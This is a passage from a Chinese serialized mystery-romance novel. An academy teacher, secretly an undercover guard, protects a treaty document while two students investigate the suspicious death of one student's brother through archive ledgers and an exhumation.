蔺渊不理会对方的调情,看向藏书阁道:“据我所知,同盟书就在此楼顶层,左手边第三间房,内设暗室,转动青花瓷瓶即可。你快去,我来引开官兵。”
“为何不是你进楼中?”
“就我这三脚猫功夫,去了只有被发现的份儿,到时候他们将盟书换了地方。你就算杀了我,我也没法子。”蔺渊说着就跑向后山,整了好大一出的动静,根本不给初月拒绝的时间。
初月望着眼前的藏书阁,她本可以选择不信蔺渊的话一走了之。但时间紧迫,上头又逼的太紧,她不得不铤而走险,
“有人闯入禁地!追!”藏书阁的异样很快吸引不少官兵。
“站住!”
“小顾相公,人在这!”官兵报告着贼人位置。
蔺渊不停的踢着两边的竹子吸引众人,等顾平安赶到时蔺渊正喘着粗气摆着手,他缓了好久才指着藏书阁道:“人放进去了?”
“进去了。”
“那就好。”蔺渊抬手顺顺气,靠着竹子休息。
“你明知道此人要偷盟书,为何还要告诉她同盟书的位置。”
“暗室、顶楼都是我瞎编的。我哪里会知道同盟书的存放之地。”
“不怕她发现?”
“她需得有本事上楼再说。我想顾相公的兵也不是吃素的吧?”
顾平安叉腰看向藏书阁,还是有些担心,毕竟是引狼入室。
蔺渊拍着他的肩头道:“同盟书在书院存放近百年都未曾出过事,没那么容易被找到的。”
“那你今天闹这一出又是何意?”他揽过蔺渊的肩头道:“装傻充愣呢?”
“差不多吧,此女身份不详,需得防范。”蔺渊从顾平安怀里撤出来,指挥着众人道:“时辰差不多了,把她赶出来。最好能伤她一二。”
“蔺夫子好狠的心。”顾平安假装掏出手帕,做娇羞装擦泪道:“方才还卿卿我我,如今竟然……咳……”
“滚蛋。”蔺渊不客气的推了他一把。
藏书阁闹起来时学子们还未就寝,一个个都爬起来去凑热闹。这里边自然就有十八斋的人。
上官竹打了个哈欠道:“又闹贼?一个破书院有什么好偷的,想不明白。”
余平附和道:“是啊,藏书阁我进去过,借过几本书,那里除了书就是书。不过顶楼倒是挺奇怪的,上了锁不让学子踏足。”
上官竹的眼睛瞬间亮上几分:“这么说顶楼有宝物?”
“哪有什么宝物,就是些书院历年山长牌位和同盟书。”苏天赐悠悠的说道。
“同盟书?”唐黎突然出现在众人身后。
“吓我一跳。”苏天赐扣扣耳朵,离唐黎远上两步。
唐黎立马拉过苏天赐躲到一旁,仔细打听着:“什么同盟书?”
“据传,百年前楚明两国共同御敌会师与邓州,由花洲书院山长亲手写下同盟书,以示两国永结同盟。”
苏天赐打了个哈欠停在半截,他突然瞪大双眼反应过来道:“你为何会出现在木府!这是男子寓所啊!”
33. 误会的唐黎
钟声响起,又是新的一天。
十八斋还是那副学官看的直摇头的懒散德行。
苏天赐新学会一道符咒,他将满屋子贴的都是。最后还在夫子的座位上放上一张,这才满意的笑笑。
上官竹将自己身上的道符撕下,回身敲着林焕的书案道:“我方才听九斋的说,咱们夫子大发脾气,打了雪儿师姐二十下手板呢。”
林焕心不在焉的卷着书角,对上官竹的话毫无兴趣。上官竹见自己的话没有得到响应,干脆自顾自的揭晓答案道:“说是帖经答不出来……”
“咳咳。”唐黎咳嗽一声提醒着上官竹,上官竹立马接收到信号,规规矩矩的坐好。
今日的蔺渊一改往常白色衣袍,身着蓝衣衬得他长身如玉。只是那胡子看的扎眼,平白给他添上十几年的岁数,
蔺渊抚摸着琴弦道:“吴夫子本要教你们寒江月冷,却被你们气走。听好了,学会了,去给吴夫子演奏道歉。”
苏天赐认真的点点头,上官竹却不老实的调侃道:“您这么在乎吴夫子,莫不是看上人家?”
蔺渊眼神射了过来道:“你最好给我学会了,否则抄一百遍乐经。”
“啊~不至于吧。”上官竹拉着长音的尾音。
“为何其他斋都课授乐礼,唯独十八斋没有?若是你们觉得自己不配大可不学,日后我也懒得管你们。”蔺渊的语气没有往日的温婉,多了些严厉。
上官竹怕再惹夫子生气,他老实的把墙上挂着琴一一取下分给同窗,还煞有其事的嘱咐道:“都好好学啊,别给夫子丢脸。”
唐黎瞥了他眼,囔囔道:“狗腿子。”
蔺渊指尖挑起,琴声悠扬,飘逸的泛音首先指引人们来到烟雾缭绕的山中,紧接着琴音加急,仿佛掉入湍急的水中,慢慢地声音渐行渐远。蔺渊右手微抬,只剩左手在琴弦上来回摩擦的声音。
一曲罢,蔺渊抚平琴弦。
上官竹立马鼓掌道:“太神了吧,您的琴技一点都比吴夫子差。”
“不必恭维我。我哪敢高攀吴夫子,快些练琴吧。”
唐黎趴到林焕耳边道:“瞧瞧他那道貌岸颜的样子,伪君子一个。”
林焕神色匆忙,她能感受到蔺渊正盯着后排,所以她不敢回话,手放在琴上随意拨了几下。
蔺渊端着袖子走过来,弯腰询问道:“林焕,你的伤如何了?”
“好多了,多谢夫子挂念。”林焕腼腆的低下头。
蔺渊点了下上官竹的肩膀,上官竹立马把座位让出来。蔺渊拉过椅子坐下,掏出药瓶道:“记得要勤换药。”
林焕还是低着头:“多谢夫子。”
蔺渊眼神刚撇向唐黎,唐黎立马假意拨弄琴弦,完全不想与蔺渊有任何交流的样子。蔺渊从怀里又掏出个药瓶放到唐黎面前,并未多说什么就离开了。
“别被他的表象所迷惑。”唐黎的视线一直盯着蔺渊,低声道:“昨天我看到他在后山跟一女子卿卿我我,实在伤风败俗。往日里就属他一本正经,哪曾想全部都是假象!”她越说越气,手上动作一大,直接挑断一根琴弦。
“哼。”唐黎干脆不弹了。我还真以为他是正人君子。到底是我天真了,他可是被罢了官,落了草的贼人。早就与君子不挨边了。
“.......”林焕眨了眨眼表示对此事的惊讶。
“你不信?我一路跟着他去的后山藏书阁……”唐黎突然停顿了。
昨晚蔺渊也在藏书阁?
藏书阁,同盟书。
难不成蔺渊要偷藏书阁中的同盟书?倒不怪唐黎起疑心,谁让蔺渊是书院这段时间里唯一出现的生人。
唐黎想到上次回家时,兄长曾提过几句,裕亲王出使北明会停靠邓州,怕不是要请同盟书?
“唐黎?唐黎你怎么了?”林焕轻轻唤了唤她。
唐黎这才缓过神,微微摇头:“无碍。”
钟声刚响过一声,唐黎第一时间跑出学堂。上官竹指着唐黎的残影,疑惑道:“唐黎一向不是最守礼的吗?今儿怎么了?装都不装一下的嘛。”
“她肚子不舒服。”林焕习惯性替唐黎掩盖着。
蔺渊也注意到二人的谈话,他过来安排道:“你也去吧,照顾好唐学子。”
“是,夫子。”林焕低着头出学堂,却寻不到唐黎的身影。
那是因为唐黎早已在夫子寓所的必经之路等着蔺渊。
苏天赐正兴致勃勃的跟蔺渊讲述新学会的平安符,再转身就不见蔺渊身影,空有一地的书籍。
蔺渊被唐黎扥到拐角处,还被拽一踉跄,等他缓过神看清来人,刚要露出和善的微笑就听唐黎警告道。
“离同盟书远点!”
同盟书若是出问题,第一个受影响的就是存放同盟书的书院。
按照朝廷规定,所以参加府试的学子必须由书院举荐。书院出了问题,那么所有人都将错过三年两次的府试。
唐黎不希望,也不允许府试出问题。
蔺渊脸上的笑容微僵,他不知道唐黎是从何处得知此事,只好先承诺道:“这点你放心,我绝不会连累书院。”
这个承诺唐黎不以为然,蔺渊并未明确表示,所以唐黎对于这句话的理解是蔺渊还会偷同盟书。
对于唐黎的再次质问,蔺渊举手发誓道:“我以亡母之灵起誓,绝无盗取盟书之歹意,也绝不会连累书院。”
“真的?”唐黎眨眨眼,不知道该不该相信他。
蔺渊这个人吧,对谁都是笑眯眯的,也很少见到他有任何情绪波动。
喜怒不形于色的人向来心机很重。
可他在崖边舍命救人的样子又不像作假。
唐黎想信任他,却又不敢信任他。
蔺渊感受到不被信任,踌躇一二,最后掏出腰牌递给唐黎道:“这是南衙十六卫的腰牌,我奉南衙统领之命保护同盟书直到裕王到来,并暗中行事揪出一切想破坏和谈的势力。”
唐黎仔细看了遍腰牌,确定无误后整个人都开心起来,她直接擂了蔺渊肩头一拳道:“你给南衙做事不早说。吓死我了。”
“痛。”蔺渊揉了揉微痛的肩头,不忘嘱咐道:“我的身份一定要保密!”
“必须守口如瓶。”唐黎了解南衙的行事风格,他们惯会在各行各业安排暗桩,混在土匪里暗桩自然不会少。
怪不得蔺渊一身书生气,半点土匪的样子都没有,合着本身就是官啊。
见唐黎露出轻松的笑颜,蔺渊偷偷松了口气,这关瞒过去也跟着轻松不少。
“所以昨晚上是那名女子去偷同盟书?你是为了保护同盟书?”
“是的。”
“那推我和林焕落崖的也是她?”
“嗯”
“她为何要推我?”还未等蔺渊回答,唐黎就已经想明白了,她垫着脚举着手抢答道:“难不成她发现我在查三个月前的事?想杀人灭口?”
蔺渊补充说明初月的身份,唐黎听后惊讶的捂上心口:“你是说雪儿师姐死了?”
“是。整件事我已经报备南衙,他们会派人来处理。还赵学子一个公道。”他再次嘱咐道:“初月阴险狡诈,你千万不要冲动行事。”
唐黎郑重的点点头道:“我知道,保护好同盟书才是重
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中之重。”那副认真的模样,倒像是她接到南衙指派似的。
蔺渊觉得她这副模样甚是可爱,忍不住又多嘱咐上几句,就怕她冒险冲动招惹到初月。
“同盟书被山长保护的非常好,现在又有兵马司护卫。你放心,它不会出现任何问题。你可安心读书备考。”蔺渊看了眼天色道:“我得走了,山长约我商议接待王驾事宜。”
唐黎回去的路上又动起小心思,既然蔺渊奉命保护同盟书,我是不是也可以加入进来混得些功劳?
没准就能被南衙破格录用为女官,这样比破件悬案要容易些。
她想着美事踏入寓所,林焕正坐在窗边走神,落叶纷飞再加上林焕的满脸愁容,伤感的氛围把唐黎脸上的笑颜都给带走了。
“对着窗口吹风,不冷吗?”
林焕淡淡地摇摇头。自从射礼结束后她就满怀心事。在人前还能装作没事人,等回到寓所就变成这副恹恹的样子。
这几天唐黎都已习惯,家里那些事林焕一时间接受不了也正常。该给她时间来消化。所以唐黎没多说什么,自顾自的收拾起屋子来,等一切忙活完的唐黎躺回床上时,林焕还是如同一尊泥塑般对着窗口发呆。
“唐黎。”林焕突然开口,唐黎连忙坐起身回应道:“我在。”
“这几天我想了很久。”她转过身来,郑重其事的问道:“病猪肉一定会害死人吗?如何能证实是我家的病猪肉害死的赵员外?难道他一天都未曾进食,未曾喝水,单单吃了我家的猪肉?”
“这……如若是因猪瘟病死的猪,它的肉食之有毒,毒死人也是有可能。”随后唐黎又补充道:“我只是看过些案宗,具体情况我也不清楚。”
“邓州不大,如若有猪瘟怎会无人知晓?我家是卖猪的,近三年来我可没听过一次猪瘟。”
唐黎附和的点点头,她之前就觉得衙门对待林家一案的态度有蹊跷,只是没继续探究下去。今日林焕被这么一说,才觉得哪里都透露着不对劲儿。
紧接着林焕说出更加可怕的猜想。
“以我对弟弟的了解,他不是逃避现实的人,更会不畏罪自杀。”
唐黎立马明白林焕的意思:“所以你怀疑林正是被人杀害?再将赵家的事嫁祸给林正?”她走下床来,扶过林焕的肩头:“如果真是如此,这事可就大了。”
“我愿意相信我的弟弟。唐黎,你熟悉公案案宗,也常写些公案话本,家中又有人在朝中任职,我求你帮帮我吧。”她紧紧握住唐黎的手,恳求道。
唐黎是有所顾虑的,她并非不相信林焕所言,而是这事已过去三年,在此期间林家父母都无甚异意,衙门又怎会因林焕一面之词重启案子。
“林正是我带大的,是我教他读书识字,把在书院学到的大道理讲给他听。我了解他,真的。”林焕说得肯定,目光坚定的看向唐黎。
唐黎沉默了好久才再次开口道:“既然你怀疑弟弟的死因,那我能想到的只有一个法子。那就是验尸。”
“!”林焕紧张到起身,唐黎神色严肃道:“尸体永远不会说谎的。咱们需找到精通验尸之人。”
“你是说夫子?”林焕很快想到蔺渊。
唐黎点头道:“他是大理寺的推官,专司刑狱官司,对验尸一事可谓精通。”
“他会帮我吗?”
“那就看你有多大的决心。林焕我可提醒你,开棺验尸非同小可,若是你弟弟确实是溺水身亡,扰了死者清净那你就是林氏的罪人。”
林焕毫不犹豫的点头道:“我不怕。弄不清楚这件事,我与弟弟都不得安生。”
“好,我陪你查!”
34. 林家的案子果然有蹊跷
唐黎并没有一上来就去验尸,而是想办法去衙门看此案案宗。于是她找到了熟人,那位有一面之缘的白役阿常。
阿常对唐黎的印象可谓颇深。主要是对那满巷子的尸体印象深刻。
他憨厚的笑道:“唐学子今日怎么有空下山?”
唐黎身着书院统一服饰,更显端庄娴静,她冲着阿常甜甜的一笑,阿常早就不知天南地北。再加上县衙管理不严,唐黎在阿常的陪同下顺利进入府库。
“唐妹妹,你要找什么告诉我,我来帮你,上边的灰厚可别呛到你。”阿常一路上献着殷勤,抢先推开府库的门为唐黎开道。
他抬手介绍道:“左手是都些陈年案宗,右手边是妹妹要的县志。咱们做什么文章要用到十年前的县志?”
唐黎虽跟着阿常往右走,眼神却瞟着左边存放案宗的地方,她附和道:“可不是嘛,谁让夫子出的题目太过刁钻,我也是没办法嘛。”
可她不知道是,口中的夫子正在她的身后。
“哦,是吗?这么刁钻吗?”蔺渊的声音凭空响起,心虚地唐黎不敢回身面对。
不会吧,这都能碰上。
不仅是蔺渊,顾平安挥挥手赶着眼前的灰尘也走了进来,看到唐黎也在,他明显一愣。
“夫子与顾相公都在啊。”唐黎尴尬的打了声招呼。
顾平安摆摆手让阿常退下,他上下打量着闯入府库的学子,随后笑了笑看向蔺道:“蔺夫子留的什么题目,让学子跑来府库作文章?”
“我?”蔺渊不顾唐黎给的提示,实活实说道:“今日休沐,我根本就没留题目。”
紧接着两人同时看向唐黎让她给出个合理的解释。
唐黎哪里解释的出来,她干脆低头认错,希望顾平安看在蔺渊的面子能不计较此事。
好在蔺渊非常义气的替她求了情,顾平安又畏惧唐黎的家世,唐黎这才没受一点处罚离开府库,只是她此行的目的未能达到。
府库的小插曲未能影响到顾平安的心情,他哼着小曲拉过梯子取到想要的,转手递给蔺渊道:“这些记录城内近十年来的铁匠铺子。”
“好。”蔺渊接过来就翻看起来。
“里边的铁匠铺我都查过,也问过,没一个认识梅花针的。”
“铺子里的学徒,街坊都有查吗?”
“这……这样查起来是不是太细?太麻烦了?”
“没办法,不是所有案子都清晰明了。线索太少只能抽丝剥茧,再细也得查。”蔺渊手里这本看完,又拿起下一本。
“我在大理寺时复审过很多案件,有一次我们顺着线索查了整整五个月,好不容易确定凶手,凶手却早已离开。九州之大,大海捞针,最终只会变为悬案。你知道大理寺挂了多少悬案嘛?”
顾平安摇了摇头。
“八百五十六桩,这还是十年前的数。如今怕是更多。”蔺渊眉头不由得皱起,一副担忧的模样。
从这段时间与蔺渊的接触能感受到他不像是会作奸犯科之人,更像是个忧国忧民、忠肝义胆的好官。
顾平安试着去查蔺渊的往事细节,可惜邓州离京城千里之远,时间又间隔太久,导致什么也没有查到。
“蔺渊,你到底犯了何罪?”
“……”蔺渊翻页的手一顿,随后道:“我哪有什么本事犯什么大罪,只是一点小错而已。”他说得轻松,可表情却有几分黯然。
“莫不是得罪了权势?”顾平安猜测道。
自古言官场如战场,更何况如今党争激烈,没有任何一位官员能洁身自好,逼也得逼到你战队。蔺渊曾在京为官,那里是权利的中心,一不小心站错队被连累也是有可能。
蔺渊笑笑不答,默默地又换了本书。
顾平安心中有疑问,但也不好多问。毕竟那是蔺渊的私事也是伤疤,他不愿去谈,也不好勉强。
“夫子自己看吧,我还要去巡城。”顾平安说罢便转身出门。
离开府库时注意到蹲在獬豸身后的唐黎,他特意招招手把她唤了过来。
唐黎不情愿的走上几步,乖巧行礼道:“见过顾相公。”
本以为顾平安要秋后算账,谁知他指着唐黎道:“让你家夫子少操点心吧。女孩子家家的哪能如此调皮!”训完他就后悔了,自己也是长了本事,连太傅的孙女都敢训斥。于是他不等唐黎回话,脚步不停地快速离开。
“啊?”唐黎看着顾平安离去的背影发出了疑问。
林焕提着食盒发现唐黎蹲在府库门口,看样子事情办的并不顺利。”
唐黎拿着点心咬了几口道:“你那块打听的如何?爹娘怎么说?”
“提到伤心事我娘哭的不行,只会嘱咐我离水远点。至于我爹就更糊涂了,他根本就不相信弟弟已经离世。我也问不出什么细节。”
林焕蹲在唐黎身旁,带上哭腔道:“都怪我,我要是没去书院读书就好了,在家里帮衬着,我弟弟也不至于十三四岁就扛着猪肉到处送货,也不至于这么年轻就没了。”
“都怪我,都怪我。我整日里在书院,明明家就在山下,却只有年节才会回家,我但凡对家里的事上点心......”
唐黎拍了拍她的肩头安慰道:“好了,现在不是说谁的错的时候。咱们还有机会。”她站起身,掸掉手上的糕屑道:“顾平安走了,但蔺万宗还没有走。哼哼,对付他我还是有办法的。”
“什么办法?”林焕泪汪汪的抬起头来。
唐黎抹掉她的眼泪,扬着手道:“这便是办法。”
“呜呜~”
“呜呜呜....”整个府库都充斥着哭声。蔺渊满身局促的面对哭成泪人的林焕,截止到现在她已经哭湿两张手帕。
“好了,好了,咱们不哭了啊。昂,有夫子在呢,谁欺负你跟我说,我替你主持公道。”蔺渊柔声柔语的安慰着,对于女子的眼泪他真是一点办法都没有。
“夫子.....”林焕抽噎着,梨花带雨的脸上写满无助。蔺渊看她这样也说不清楚事,就问到一旁的唐黎。
唐黎就等他发问呢,迫不及待的回答。当听完整件事情经过后,蔺渊太后悔过问这件事。
“.......”
唐黎没等到蔺渊的回复便冲林焕使了个眼色,好不容易不哭的林焕又哭起来,不仅如此唐黎也加入其中。
“哎呀,你们别哭了。”蔺渊劝说的同时,时不时的往屋外看:“你们这样哭,不知道还以为我欺负你们呢。”
可她们还是不停,蔺渊压低声音道:“难道要为了你们无端的猜测就要衙门重审吗?太荒唐了。”
“不用衙门审,我们自己查。”唐黎指着身后的书架道:“这些是陈年卷宗,可以找到三年前的记录,只要夫子别告发我们就行。”
合着在这等我呢。
蔺渊背过身继续看手中的案宗。他的动作说明一切,装什么都没看到。
林焕感激的拱手行礼,唐黎早就爬上书梯找寻着案宗。
林正案的案宗很好找,毕竟邓州不大,发生这类人命官司也没多少,顺着索引很快就能找到。
拿到卷宗的唐黎兴奋呼了一声,惹得蔺渊回头。她连忙讨乖的笑笑,拉着林焕打开卷宗。
案宗记录还算详细,证人证词,堂前问话都列入在册。赵家众人是死咬员外病故的事与猪肉有关。唐黎紧张的翻到下一页,本该是仵作的验尸记录却空空如也。
后边闹腾的人突然没有动静,蔺渊本不想管这事,但耳朵总是在关注身后,案宗是一个字也没能看进去。
最后他实在忍无可忍便转身查看情况,唐黎和林焕分别将两个卷宗递过来。
“赵员外、林正的验尸记录都没有。”
蔺渊接过来翻看道:“也不是所有案件都会有验尸记录,大多数亲属不愿意仵作来验尸。”
“既然赵员外没有验尸,凭什么说是吃猪肉而亡?”
蔺渊微微抬手示意唐黎稍安勿躁,他此刻也发现案宗的问题。
证人证词详细完备,而林家的回复却只有只言片语,似乎利于林家的言论都被抹去。
明明这两句话问的是林家,记录的却是赵家回答,林家难道真就自认有罪而不作辩驳?
最后的判决也透着奇怪,因林正溺水而亡,故
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判罚林家夫妇赔付九十五两白银。
按律法规定赔付银两需先入衙门,换作官银再赔付苦主,为的就是由官府起监管作用,怕银子不纯导致两方再起冲突。
但是这九十五两银子并没有入册的记录。
也许是林家掏不出如此多的现银,分批支付?所以未能及时入案宗?
蔺渊是希望能查到这笔钱的,这样才能证实此案没问题。否则.....
他曾在大理寺复审过一个案子,与林正差不多的情况。
凶犯死了判由家人赔偿。但这家人的赔偿银两根本就未入库,苦主一家也未曾进行追讨。
最后这件事是由凶犯相好的告发上来。原来是死者丈夫买凶杀人吃绝户。整件事凶犯一家全部知晓,凶犯杀人后自尽,等同于用凶犯的命换了一家人的半生富贵。
想到这蔺渊立马起身翻找衙门账簿。他把近三年来的账簿全搬下来,指挥着两名学子道:“找编号为柒〇叁的入库银子,共九十五两,可能分批入库。这是赔付银两,进库后会在三天内换为官银出库。”
他神情十分认真,说话也不再是轻声细语。唐黎歪了歪头,倒像是看到任推官时的蔺渊。
账簿不如案宗“好看”,密密麻麻的小字让唐黎的眼睛疼到不行,也不过是才看过半个月。
而林焕就相对得心应手,账簿有属于他的记录规则,熟悉的人自然能一目十行。
“我这没有。”林焕将面前的最后一本账簿叠落上,至此她已经看完二十五本账簿。
“你好厉害啊。”唐黎话音未落,蔺渊也将面前的账簿归拢好:“这边也没有。”
“我....”唐黎还在费力看着账簿,最后实在不行的趴在桌上摆了摆手:“看的我脑袋疼。”
蔺渊头也没抬,在她面前放上两块饴糖,点了点面前的账簿道:“帮我们看过的账簿归档吧。”
府衙账簿繁多,直到顾平安巡完城回来这三人还未查完。顾平安看到满屋子的账簿忍不住问道:“蔺夫子,你在干什么?”
“查账。”
“怎么就需要查起账簿?”顾平安想破脑袋也想不明白。他想离蔺渊近些询问,抬起脚的却没有落下的地方。
蔺渊点了点面前一摞的账簿,头也不抬道:“就剩最后半年,你也来查。”
“你还是自己看吧,我看见这玩意就烦。”顾平安非常了解自己。
“夫子,没有。”林焕已将手头全部账簿看完并且报告。
蔺渊稍晚一些,他也是同样的结果。随即蔺渊便陷入沉默,这件案子果然如唐黎所言没那么简单。
林家根本就没赔付银子,赵家也不去讨要,员外与林正还都没有验尸记录。很难不让人怀疑此案有蹊跷。
这里唯一糊涂的人就是顾平安,他工作结束来找蔺渊是为了请他吃饭,结果又多等一个时辰。他怕家中夫人生气,开口催促道:“我夫人在家中备了家常菜,蔺夫子咱们喝两杯。两位学子也一同前往,我夫人也是花洲书院出来的学生,想必有许多话与姑娘们说。”
他发现自己的邀请并未激发众人的兴趣,反而这三人各个愁眉不展。
唐黎与林焕愁的是,案子果然有问题,但如何查清楚此事过于棘手。
蔺渊愁的是,自己要不要插手。
复审案件对以前的他来说是常事,多困难、多没头绪的案子他都遇到过。但现在自己已然不是大理寺的人,首先查案的权限没有了,其次南衙交代的事还未完成,此刻最怕身份暴露。
可他又怕自己不管,这两位学子会执拗查下去,若是惹到幕后之人恐有杀身之祸。
管还是不管?
蔺渊抬手揉了揉眉心,终于下定决心。
管,他要管!
冠冕堂皇的理由就不多说,单单这两位都曾帮自己隐瞒过身份,就当还这份情吧。
“林学子。”蔺渊看向林焕,试探的询问道:“我要验尸,可以吗?”
“还要验尸吗?”顾平安插话道,他还以为还是璃羽的案子。
“顾相公一起吧。”蔺渊叫他一同前去,主要是想拉个苦力。
35. 你扶我一下会死啊
荒原前,顾平安看了眼蔺渊塞过来的铁锹,又看了眼面前的坟包。
挖坟?
还是林学子弟弟的坟。
好,这些都能忍。
可是……为何让我一个人挖坟?
面前的三人齐齐伸出手来回答他,个个手上都有伤。
顾平安觉得眼角微抽,忍不住吐槽道:“你们书院是下过刀子吗?”话虽如此他还是把佩刀解下,掖起衣摆,老实挖起土来。
尘封三年的棺材就这样重见天日。蔺渊用手帕蒙住口鼻跳下墓坑,除了他之外没人敢靠近。
“顾相公别离我那么远,我需要有人帮我掌灯。”蔺渊招呼着顾平安。
“好。”他答应的爽快,但脚步并未前进。
半夜挖坟验尸饶是见过大场面的顾平安都有些心怵。
光亮最后还是照耀而来。蔺渊冲着棺材鞠躬致歉便开始了验尸。三年的时间不足以完全变成白骨,这种挂着腐败肉块的尸体确实很难让人接受。
因为亲人的缘故林焕不敢回头看,一直背对着坟墓,煎熬的等待答案。
“溺水而亡,没有问题。”蔺渊再三检验最后得出这个答案。
“你确定?”唐黎的声音突然在耳边响起,吓得蔺渊连忙回头:“怎么是你在掌灯?顾平安呢?”
“你要不再仔细看看。”
“这点本事我还是有的,确定是溺水而亡。”
“那会不会被人推下去,能不能查到此类痕迹?就像初月用石子暗算我似的?”
蔺渊被人质疑验尸能力,他一挑眉毛,用下巴指了指棺材道:“要不唐学子先睁眼瞧瞧?”
唐黎一直高举灯笼为蔺渊照亮,但也同时紧闭双眼不敢看棺内一眼。
“哎呀,既然都开了棺那你就仔仔细细查一遍,别光看是不是淹死的。兴许有别线索呢。”
蔺渊歪头打量着唐黎,柔和的烛光下竟觉得她此刻万分娇柔。原来她面对恐惧也会露出如此一面,与以往完全不同,甚至让人激发起保护欲来。
要知道唐黎往日大杀四方的模样,是从不需要人来保护。
“你不是怕嘛?不想着赶快上去?”蔺渊自然而然的挂起微笑,逗着她道。
“怕的要死!但还能坚持,你快验尸。”唐黎催促他,着急的跺跺脚。
不用唐黎提醒,蔺渊本就想从头到脚彻查一遍,不单是查死因而是找线索。
过了许久蔺渊都没有动静,唐黎忍不住问道:“怎么样了?有没有收获?”
“.......”蔺渊捏着从头骨处寻到的梅花针陷入沉思,这已经是在邓州出现的第四枚针。
“到底怎么了?”唐黎没有得到蔺渊的回应,她摸索着想去拉蔺渊的衣袖。蔺渊却早已换了位置,这导致唐黎重心不稳差点跌倒。
蔺渊及时扶住她。但因为手上刚验完尸体的缘故,怕脏了对方的衣物,只是用胳膊肘撑住她。
墓坑里地势不平,再加上唐黎举着大灯笼本就不方便,又找不到平整的落脚点,整个人歪七扭八的靠在蔺渊身上。
蔺渊有些支撑不住,而且二人靠的这般近,甚至可以闻到对方身上的淡雅清香。
这就是上官竹送她的香粉吧?
他名中带竹,而她又刚好爱用竹香的香粉。
二人模样登对,就连性格也如此的像,倒是一对璧人。
蔺渊自己都不知道会何突然生出这样的念头来,生出这种念头也就罢了,喉咙处还梗着一口气提不上来。
这时唐黎也察觉到与蔺渊的姿势过于暧昧,她慌忙中试着站稳未果后,便喊道:“你扶我一下会死啊!”
“你睁开眼会死啊。”蔺渊的回答也开始变得不客气。
很快,他就为没能管理好自己的情绪而后悔。
唐黎一愣,向来温润的蔺渊竟然也会如此说话?
她瞬间睁开眼睛,本想还嘴映入眼帘的是蔺渊那双好看的桃花眼,眸子中带着些许血丝和倦怠。
他也是为了帮我才会如此疲惫。
大半夜的开棺验尸,任谁也不会做的事他是一口答应下来的。
唐黎顿时没了脾气,后撤几步站稳身形,不自在的咳嗽一声缓解尴尬。
蔺渊扬起手中的针道:“第四枚梅花针。”
“什么!?”唐黎惊讶万分,三年前梅花针就有出现过?
“我虽在头骨处发现梅花针,但是林正的死因依旧溺亡,和此针没有直接关系。”
蔺渊率先爬出墓坑,随后伸出手来想拉唐黎,唐黎却避开他的手,蹬了几步土壁毫不费力的跳上墓坑。
“看吧,还是得睁开眼。”蔺渊尴尬的玩笑话未能得到唐黎回应,他只好转移话题道:“顾相公与林学子呢?”
“我怕林焕担忧,让顾相公陪她去前面河边散散心。”
“嗯,咱们也过去吧。天亮前需得把墓给还原。”
邓州兵马司衙门
熬了通宵的四人都是满目血丝。油灯微曳,他们围坐一桌,面前整齐的摆放着四枚梅花针。
林焕指着针挨个说道:“璃羽姑娘,陶家小姐,包姑娘,我弟弟。”她抬眸看向蔺渊道:“四个人完全没有交集,梅花针怎么会找上她们的?”
“林学子,拜托你好好回忆下你的弟弟接触过的人。”顾平安可算是找到新的线索,他才不会放过林焕,打回来的路上就一个劲儿的让林焕回忆。
“我……我真的不知道。弟弟性格纯良,从未听说过与人有过节,哪里会有仇人。而且弟弟与其他三位死者毫无交集,根本就不认识嘛。”
蔺渊说出自己的顾虑道:“现在棘手的是没有证据证明这四人死于梅花针。
“梅花针都入脑了,不是它害的还会是什么?”唐黎插嘴道。她不觉得梅花针是无辜的,手指那般长的铁针,扎入脑中怎会无事?
蔺渊还是那句话:“如今就是没有证据。任凭再多的仵作来验,林正就是溺水身亡,璃羽就是匕首刺入心脏而亡。”
“兴许这些都是障眼法,为了掩盖梅花针?”顾平安问道,他与唐黎的想法一样认定梅花针致命。不然这诡谲的梅花针出现在脑袋里到底是几个意思。
而且他有自己的小心思,如果此案与梅花针无关,便构不成连环凶杀,自然也算不得什么大案、悬案。入南衙的凭证便会白白失去。
作为专业人士的蔺渊轻吐一口气,耐心解释道:“死后丢入水中与溺水身亡很容易分辨出来,死后扎入心脏与生前扎入心脏也是一目了然。不会出现你说的那种情况。”
四个人也没商议出个所以然来。最后由顾平安发话结束这场讨论道:“事情经过我都知晓,一定会竭尽全力的去调查。两位学子还是不要参与此事,专心备考才是正事。”
“我……”林焕刚要发表意见被唐黎拉住摇了摇头。
蔺渊注意到这二人的小动作,也知道唐黎不是轻言放弃的人。此刻不做声,心里定盘算着偷摸查。倒不如让她们跟着顾平安去查,一是全了她们的心意,二是都在明面上,也能时刻受到保护。
“顾相公,林焕毕竟是苦主,想了解案情情有可原。这样吧,马上就到中秋佳节,届时书院会休沐五日,你带上她们,也能出些力,帮些忙。”
蔺渊都发话了,顾平安也不好拒绝便点头同意。林焕是满眼的感激,就连唐黎也承下蔺渊这次的人情。
......
距离阖家团圆的中秋节还剩一天。学子的心思早就飘出山外,学官已经把一年骂人的量都骂完了,还是管不住归心似箭的学子们。
假期的前一天蔺渊也没能多好受,他被掌事学官以十八斋的成绩太差为由,罚扫杏林正堂。
归根到底还是掌事学官与上官竹之间的矛盾。
上官竹被赶下山后,是蔺渊力主上官竹回山读书的,甚至还到山长面前求情。
对此掌事学官表示:“哦,我刚赶走的学生,才过三四天你就给请过来。还是原来那副吊儿郎当不知悔改的样子,你让我的面子往哪搁!?以后还让我如何管教学子?”
记仇的掌事学官处处针对上官竹,本来看在蔺渊面子上愿意收敛的上官竹彻底恼了。又发挥他
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巧言善辩的能力,不光把学官气的七窍生烟,更是写文章内涵学官,张贴与书院各处。
他的书法那样俊秀,谁路过都乐意多看两眼。就这样把掌事学官彻底闹到个没脸。
掌事学官也学精了,他发现天不怕地不怕的上官竹竟对蔺夫子尊敬有加。于是另辟蹊径,责罚十八斋的夫子。
这点权利学官还是有的,而且理由非常充足,十八斋的成绩本来就差,所以教不严!师之惰!
罚!狠狠地罚!山长来了都挑不出错儿来。
杏林正堂是书院的礼堂,建的是宏伟阔亮。恰逢落叶纷飞的季节,满院的落叶一个接一个的出现,根本就扫不完,也根本达不到学官一尘不染的要求。
“夫子,我求求你了,你就别扫了,我害怕。”上官竹一路跟在蔺渊身后。
蔺渊默不作声地继续扫地,脸色黑到吓人。他大早上刚起床就被学官叫到此处,当着不少学子的面劈头盖脸训斥一顿不说,还被扔过来的笤帚划伤到脸。
多少年了,没受过这窝囊气。
当时蔺渊就要发作,他是一忍再忍,衣服都快揪烂才没让拳头打出去。
